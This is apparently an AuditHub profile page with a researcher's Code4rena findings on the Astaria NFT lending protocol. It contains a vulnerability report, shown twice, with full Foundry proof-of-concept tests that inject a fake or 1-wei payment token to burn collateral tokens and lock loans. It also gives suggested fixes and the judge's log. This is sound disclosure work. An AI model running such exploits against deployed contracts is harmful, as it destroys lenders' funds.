Astaria contest - c7e7eff's results

On a mission is to build a highly liquid NFT lending market.

General Information

Platform: Code4rena

Start Date: 05/01/2023

Pot Size: $90,500 USDC

Total HM: 55

Participants: 103

Period: 14 days

Judge: Picodes

Total Solo HM: 18

Id: 202

League: ETH

Astaria

Findings Distribution

Researcher Performance

Rank: 30/103

Findings: 2

Award: $430.48

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Labels

3 (High Risk)
satisfactory
duplicate-521

Awards

33.2422 USDC - $33.24

External Links

Judge has assessed an item in Issue #460 as 3 risk. The relevant finding follows:

Lines of code https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L123 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L538 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L528-L530

Vulnerability details Impact The safeTransferFrom() function on the ClearingHouse is normally used when an OpenSea auction successfully ends and the required ERC20/WETH have been transferred to the ClearingHouse.

The clearing house implements its own ERC1155 token which is included in the OpenSeaa auction as a consideration. When the auction concludes a call is made to the ClearingHouse::SafeTransferFrom() function by OpenSea, triggering the further distribution of the ERC20/WETH to both the liquidator and the Vault. The ERC20 accepted as payment for the auction is derived from the identifier of the implemented ERC1155 SafeTransferFrom() function instead of the underlying asset of the vault. This means an attacker can inject the address of any ERC20 contract when calling this function (before the auction successfully ends). A fake WETH contract can be used to emulated the required balance of the clearing house to pass all the validations.

At the end of the TransferFrom() a call is made to the CollateralToken::settleAuction() thereby burning the collateral token making it inaccessible and the NFT locked in the clearing house. Any loan outstanding also cannot be paid back and the the OpenSea auction cannot accept any bids as the collateral token is burnt meaning the lenders will have lost those funds as well. It doesn't seem to be possible for the attacker to steal the NFT from clearing house though.

Additionally a bug in the CollateralToken::settleAuction() check to see if their actually is an auction active for the NFT makes that this attack can be even done from the very start of the loan. This also makes it possible to simply use 1 wei of real WETH instead of having to deploy a fake WETH token thereby actually reducing the cost and effort needed.

Proof of Concept The ClearingHouse::SafeTransferFrom() is a public function that can be called by anyone and doesn't have a requiresAuth modifier.

function safeTransferFrom( address from, // the from is the offerer address to, uint256 identifier, uint256 amount, bytes calldata data //empty from seaport ) public { //data is empty and useless _execute(from, to, identifier, amount); } The _execute() function derives the paymentToken from the encodedMetaData (which is the identifier used in the safeTransferFrom()) This address is then used to further determine if enough funds have been received in case of an actual auction. The same address is used to further distribute the (fake) funds and at the end the CollateralToken::settleAuction() is called.

function _execute( address tokenContract, // collateral token sending the fake nft address to, // buyer uint256 encodedMetaData, //retrieve token address from the encoded data uint256 // space to encode whatever is needed, ) internal { ... address paymentToken = bytes32(encodedMetaData).fromLast20Bytes(); ... uint256 payment = ERC20(paymentToken).balanceOf(address(this)); require(payment >= currentOfferPrice, "not enough funds received");

... ERC20(paymentToken).safeTransfer( s.auctionStack.liquidator, liquidatorPayment ); ERC20(paymentToken).safeApprove( address(ASTARIA_ROUTER.TRANSFER_PROXY()), payment - liquidatorPayment ); ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse( paymentToken, collateralId, payment - liquidatorPayment, s.auctionStack.stack ); if (ERC20(paymentToken).balanceOf(address(this)) > 0) { ERC20(paymentToken).safeTransfer( ASTARIA_ROUTER.COLLATERAL_TOKEN().ownerOf(collateralId), ERC20(paymentToken).balanceOf(address(this)) ); } ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId);

} The CollaterlToken::settleAcution() function checks if there is an auction acive but the if statement also requires that the NFT is not owned by the clearing house anymore. This means that when there is no auction or the auction hasn't concluded yet this check passes. The internal _settleAuction is then called (which deletes the collateralIdToAuction[collateralId] state variable) and associated colalteral token. is finally burnt.

function settleAuction(uint256 collateralId) public { CollateralStorage storage s = _loadCollateralSlot(); if ( s.collateralIdToAuction[collateralId] == bytes32(0) && ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf( s.idToUnderlying[collateralId].tokenId ) != s.clearingHouse[collateralId] ) { revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION); } require(msg.sender == s.clearingHouse[collateralId]); _settleAuction(s, collateralId); delete s.idToUnderlying[collateralId]; _burn(collateralId); } A full working test script with 3 different scenarios (active auction with fake WETH, no auction with fake ETH and no auction with WETH9 ):

import "./TestHelpers.t.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; contract C4Test is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256;

uint256[] lienIds ;

function testBurnCollateralTokenSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) );

}

function testFailAuctionAfterFakeSettlement() public { address alice = address(1); address bob = address(2); address carol = address(3); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); //skip to over the expiration of the loan and call liquidate listing the item for sale on OS vm.warp(block.timestamp + 11 days); //Carol initiates the liquidatoin creating the Auction vm.startPrank(carol); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); //Then Alice attacks using safeTransfer() on the clearingHouse using a fake ERC20 token vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); //prepare a fake ERC20 MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18)); vm.label(address(fakeEth), "FakeETH"); //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract fakeEth.mint(address(CH), 1000 ether); uint256 injected = uint256(uint160(address(fakeEth))); bytes memory data = ''; //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //Auction on OpenSEA doesn't work anymore //ultimately fails with "NOT_MINTED" on LIEN_TOKEN::payDebtViaClearingHouse as the collateraltoken doesn't exist anymore _bid(Bidder(bidder, bidderPK), listedOrder, 10 ether);

}

function testOneWeiSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault); //we provide the NFT and loan 100 ETH for 10 days (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: blueChipDetails, amount: 50 ether, isFirstLien: true }); vm.startPrank(alice); //compute the collateralId and get the ClearingHouse address uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId); vm.deal(alice, 1 wei); WETH9.deposit{value: 1 wei}(); WETH9.transfer(address(CH), 1 wei); uint256 injected = uint256(uint160(address(WETH9))); bytes memory data = ''; ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN(); address owner = CT.ownerOf(collateralId); console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH //it also calls settleAuction() on the collateraltoken which burns the collateraltoken CH.safeTransferFrom(address(0),address(0), injected, 1, data); vm.stopPrank(); //ClearingHouse still owns the NFT assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT."); //CollateralToken is burnt so ownerOf reverts with NOT_MINTED vm.expectRevert("NOT_MINTED"); owner = CT.ownerOf(collateralId); console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner); //Try to make a payment which fails because of invalid state uint256 amount = 100 ether; vm.deal(address(this), 100 ether); WETH9.deposit{value: amount}(); WETH9.approve(address(TRANSFER_PROXY), amount); WETH9.approve(address(LIEN_TOKEN), amount); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, 0, amount ); //waiting for the expirattion and trying to liquidate doesn't work either vm.warp(block.timestamp + 11 days); vm.expectRevert(abi.encodeWithSelector( ILienToken.InvalidState.selector, ILienToken.InvalidStates.EMPTY_STATE ) ); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) );

} }

#0 - c4-judge

2023-02-27T15:16:04Z

Picodes marked the issue as duplicate of #521

#1 - c4-judge

2023-02-27T15:16:11Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: obront

Also found by: KIntern_NA, Koolex, c7e7eff

Labels

bug
3 (High Risk)
satisfactory
duplicate-287

Awards

397.2405 USDC - $397.24

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L123 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L538 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L528-L530

Vulnerability details

Impact

The safeTransferFrom() function on the ClearingHouse is normally used when an OpenSea auction successfully ends and the required ERC20/WETH have been transferred to the ClearingHouse.

The clearing house implements its own ERC1155 token which is included in the OpenSeaa auction as a consideration. When the auction concludes a call is made to the ClearingHouse::SafeTransferFrom() function by OpenSea, triggering the further distribution of the ERC20/WETH to both the liquidator and the Vault. The ERC20 accepted as payment for the auction is derived from the identifier of the implemented ERC1155 SafeTransferFrom() function instead of the underlying asset of the vault. This means an attacker can inject the address of any ERC20 contract when calling this function (before the auction successfully ends). A fake WETH contract can be used to emulated the required balance of the clearing house to pass all the validations.

At the end of the TransferFrom() a call is made to the CollateralToken::settleAuction() thereby burning the collateral token making it inaccessible and the NFT locked in the clearing house. Any loan outstanding also cannot be paid back and the the OpenSea auction cannot accept any bids as the collateral token is burnt meaning the lenders will have lost those funds as well. It doesn't seem to be possible for the attacker to steal the NFT from clearing house though.

Additionally a bug in the CollateralToken::settleAuction() check to see if their actually is an auction active for the NFT makes that this attack can be even done from the very start of the loan. This also makes it possible to simply use 1 wei of real WETH instead of having to deploy a fake WETH token thereby actually reducing the cost and effort needed.

Proof of Concept

The ClearingHouse::SafeTransferFrom() is a public function that can be called by anyone and doesn't have a requiresAuth modifier.

  function safeTransferFrom(
    address from, // the from is the offerer
    address to,
    uint256 identifier,
    uint256 amount,
    bytes calldata data //empty from seaport
  ) public {
    //data is empty and useless
    _execute(from, to, identifier, amount);
  }

The _execute() function derives the paymentToken from the encodedMetaData (which is the identifier used in the safeTransferFrom()) This address is then used to further determine if enough funds have been received in case of an actual auction. The same address is used to further distribute the (fake) funds and at the end the CollateralToken::settleAuction() is called.

  function _execute(
    address tokenContract, // collateral token sending the fake nft
    address to, // buyer
    uint256 encodedMetaData, //retrieve token address from the encoded data
    uint256 // space to encode whatever is needed,
  ) internal {
	...
	address paymentToken = bytes32(encodedMetaData).fromLast20Bytes();
	...
    uint256 payment = ERC20(paymentToken).balanceOf(address(this));
    require(payment >= currentOfferPrice, "not enough funds received");

	...
	ERC20(paymentToken).safeTransfer(
      s.auctionStack.liquidator,
      liquidatorPayment
    );
    ERC20(paymentToken).safeApprove(
      address(ASTARIA_ROUTER.TRANSFER_PROXY()),
      payment - liquidatorPayment
    );
    ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse(
      paymentToken,
      collateralId,
      payment - liquidatorPayment,
      s.auctionStack.stack
    );
    if (ERC20(paymentToken).balanceOf(address(this)) > 0) {
      ERC20(paymentToken).safeTransfer(
        ASTARIA_ROUTER.COLLATERAL_TOKEN().ownerOf(collateralId),
        ERC20(paymentToken).balanceOf(address(this))
      );
    }

	ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId);
  }

The CollaterlToken::settleAcution() function checks if there is an auction acive but the if statement also requires that the NFT is not owned by the clearing house anymore. This means that when there is no auction or the auction hasn't concluded yet this check passes. The internal _settleAuction is then called (which deletes the collateralIdToAuction[collateralId] state variable) and associated colalteral token. is finally burnt.

  function settleAuction(uint256 collateralId) public {
    CollateralStorage storage s = _loadCollateralSlot();
    if (
      s.collateralIdToAuction[collateralId] == bytes32(0) &&
      ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf(
        s.idToUnderlying[collateralId].tokenId
      ) !=
      s.clearingHouse[collateralId]
    ) {
      revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION);
    }
    require(msg.sender == s.clearingHouse[collateralId]);
    _settleAuction(s, collateralId);
    delete s.idToUnderlying[collateralId];
    _burn(collateralId);
  }

A full working test script with 3 different scenarios (active auction with fake WETH, no auction with fake ETH and no auction with WETH9 ):

import "./TestHelpers.t.sol";
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
contract C4Test is TestHelpers {
  using FixedPointMathLib for uint256;
  using CollateralLookup for address;
  using SafeCastLib for uint256;

  uint256[] lienIds ;

 function testBurnCollateralTokenSettlingNonExistingAuction() public {
    address alice = address(1);
    address bob = address(2);
    //create an NFT
    TestNFT nft = new TestNFT(6);
    uint256 tokenId = uint256(5);
    address tokenContract = address(nft);
    //create a public vault
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    //Bob lends 150 ETH to the vaule
    _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

    //we provide the NFT and loan 100 ETH for 10 days
    (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: blueChipDetails,
      amount: 50 ether,
      isFirstLien: true
    });

    vm.startPrank(alice);
    //compute the collateralId and get the ClearingHouse address
    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
    //prepare a fake ERC20
    MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18));
    vm.label(address(fakeEth), "FakeETH");
    //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea 
    //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract
    fakeEth.mint(address(CH), 1 ether);
    uint256 injected = uint256(uint160(address(fakeEth)));
    bytes memory data = '';

    ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN();
    address owner = CT.ownerOf(collateralId);
    console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

    //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
    //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
    //it also calls settleAuction() on the collateraltoken which burns the collateraltoken
    CH.safeTransferFrom(address(0),address(0), injected, 1, data);
    vm.stopPrank();

    //ClearingHouse still owns the NFT
    assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");
    //CollateralToken is burnt so ownerOf reverts with NOT_MINTED
    vm.expectRevert("NOT_MINTED");
    owner = CT.ownerOf(collateralId);
    console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);
    
    //Try to make a payment which fails because of invalid state
    uint256 amount = 100 ether;
    vm.deal(address(this), 100 ether);
    WETH9.deposit{value: amount}();
    WETH9.approve(address(TRANSFER_PROXY), amount);
    WETH9.approve(address(LIEN_TOKEN), amount);
    vm.expectRevert(abi.encodeWithSelector(
        ILienToken.InvalidState.selector,
        ILienToken.InvalidStates.EMPTY_STATE
      )
    );
    LIEN_TOKEN.makePayment(
      stack[0].lien.collateralId,
      stack,
      0,
      amount
    );

    //waiting for the expirattion and trying to liquidate doesn't work either
    vm.warp(block.timestamp + 11 days);
    vm.expectRevert(abi.encodeWithSelector(
        ILienToken.InvalidState.selector,
        ILienToken.InvalidStates.EMPTY_STATE
      )
    );
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
  }

function testFailAuctionAfterFakeSettlement() public {
    address alice = address(1);
    address bob = address(2);
    address carol = address(3);
    //create an NFT
    TestNFT nft = new TestNFT(6);
    uint256 tokenId = uint256(5);
    address tokenContract = address(nft);
    //create a public vault
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    //Bob lends 150 ETH to the vaule
    _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

    //we provide the NFT and loan 100 ETH for 10 days
    (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: blueChipDetails,
      amount: 50 ether,
      isFirstLien: true
    });

    //skip to over the expiration of the loan and call liquidate listing the item for sale on OS
    vm.warp(block.timestamp + 11 days);
    //Carol initiates the liquidatoin creating the Auction
    vm.startPrank(carol);
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
    vm.stopPrank();

    //Then Alice attacks using safeTransfer() on the clearingHouse using a fake ERC20 token
    vm.startPrank(alice);
    //compute the collateralId and get the ClearingHouse address
    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
    //prepare a fake ERC20
    MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18));
    vm.label(address(fakeEth), "FakeETH");
    //send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea 
    //This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract
    fakeEth.mint(address(CH), 1000 ether);
    uint256 injected = uint256(uint160(address(fakeEth)));
    bytes memory data = '';


    //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
    //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
    //it also calls settleAuction() on the collateraltoken which burns the collateraltoken
    CH.safeTransferFrom(address(0),address(0), injected, 1, data);
    vm.stopPrank();

    //ClearingHouse still owns the NFT
    assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");
    
    //Auction on OpenSEA doesn't work anymore
    //ultimately fails with "NOT_MINTED" on LIEN_TOKEN::payDebtViaClearingHouse as the collateraltoken doesn't exist anymore 
    _bid(Bidder(bidder, bidderPK), listedOrder, 10 ether);

  }
  
  function testOneWeiSettlingNonExistingAuction() public {
    address alice = address(1);
    address bob = address(2);
    //create an NFT
    TestNFT nft = new TestNFT(6);
    uint256 tokenId = uint256(5);
    address tokenContract = address(nft);
    //create a public vault
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    //Bob lends 150 ETH to the vaule
    _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

    //we provide the NFT and loan 100 ETH for 10 days
    (uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: blueChipDetails,
      amount: 50 ether,
      isFirstLien: true
    });

    vm.startPrank(alice);
    //compute the collateralId and get the ClearingHouse address
    uint256 collateralId = tokenContract.computeId(tokenId);
    ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
    vm.deal(alice, 1 wei);
    WETH9.deposit{value: 1 wei}();
    WETH9.transfer(address(CH), 1 wei);
    uint256 injected = uint256(uint160(address(WETH9)));
    bytes memory data = '';

    ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN();
    address owner = CT.ownerOf(collateralId);
    console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

    //Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
    //distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
    //it also calls settleAuction() on the collateraltoken which burns the collateraltoken
    CH.safeTransferFrom(address(0),address(0), injected, 1, data);
    vm.stopPrank();

    //ClearingHouse still owns the NFT
    assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");
    //CollateralToken is burnt so ownerOf reverts with NOT_MINTED
    vm.expectRevert("NOT_MINTED");
    owner = CT.ownerOf(collateralId);
    console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);
    
    //Try to make a payment which fails because of invalid state
    uint256 amount = 100 ether;
    vm.deal(address(this), 100 ether);
    WETH9.deposit{value: amount}();
    WETH9.approve(address(TRANSFER_PROXY), amount);
    WETH9.approve(address(LIEN_TOKEN), amount);
    vm.expectRevert(abi.encodeWithSelector(
        ILienToken.InvalidState.selector,
        ILienToken.InvalidStates.EMPTY_STATE
      )
    );
    LIEN_TOKEN.makePayment(
      stack[0].lien.collateralId,
      stack,
      0,
      amount
    );

    //waiting for the expirattion and trying to liquidate doesn't work either
    vm.warp(block.timestamp + 11 days);
    vm.expectRevert(abi.encodeWithSelector(
        ILienToken.InvalidState.selector,
        ILienToken.InvalidStates.EMPTY_STATE
      )
    );
    OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
      stack,
      uint8(0)
    );
  }
}

Tools Used

Manual review, forge test.

First the payment token address should not be taken from the input but simply form state (probably most obvious is the vault's underlying asset unless there are plans to open this up to other tokens)

Second the active auction check should be changed to revert when either there is noe auction or the clearing house is still owner of the NFT.

  function settleAuction(uint256 collateralId) public {
    CollateralStorage storage s = _loadCollateralSlot();
    if (
--    s.collateralIdToAuction[collateralId] == bytes32(0) &&
++    s.collateralIdToAuction[collateralId] == bytes32(0) ||
      ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf(
        s.idToUnderlying[collateralId].tokenId
      ) !=
      s.clearingHouse[collateralId]
    ) {
      revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION);
    }
	...
  }

#0 - c4-judge

2023-01-24T07:47:56Z

Picodes marked the issue as duplicate of #564

#1 - c4-judge

2023-02-15T07:29:56Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-02-23T21:03:28Z

Picodes changed the severity to QA (Quality Assurance)

#3 - c4-judge

2023-02-24T10:37:08Z

This previously downgraded issue has been upgraded by Picodes

#4 - c4-judge

2023-02-24T10:39:31Z

Picodes marked the issue as not a duplicate

#5 - c4-judge

2023-02-24T10:40:30Z

Picodes marked the issue as duplicate of #521

#6 - c4-judge

2023-02-27T15:14:28Z

Picodes marked the issue as not a duplicate

#7 - c4-judge

2023-02-27T15:14:41Z

Picodes changed the severity to QA (Quality Assurance)

#8 - c4-judge

2023-02-27T15:15:35Z

This previously downgraded issue has been upgraded by Picodes

#9 - c4-judge

2023-02-27T15:15:35Z

This previously downgraded issue has been upgraded by Picodes

#10 - c4-judge

2023-02-27T15:15:53Z

Picodes marked the issue as duplicate of #287

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter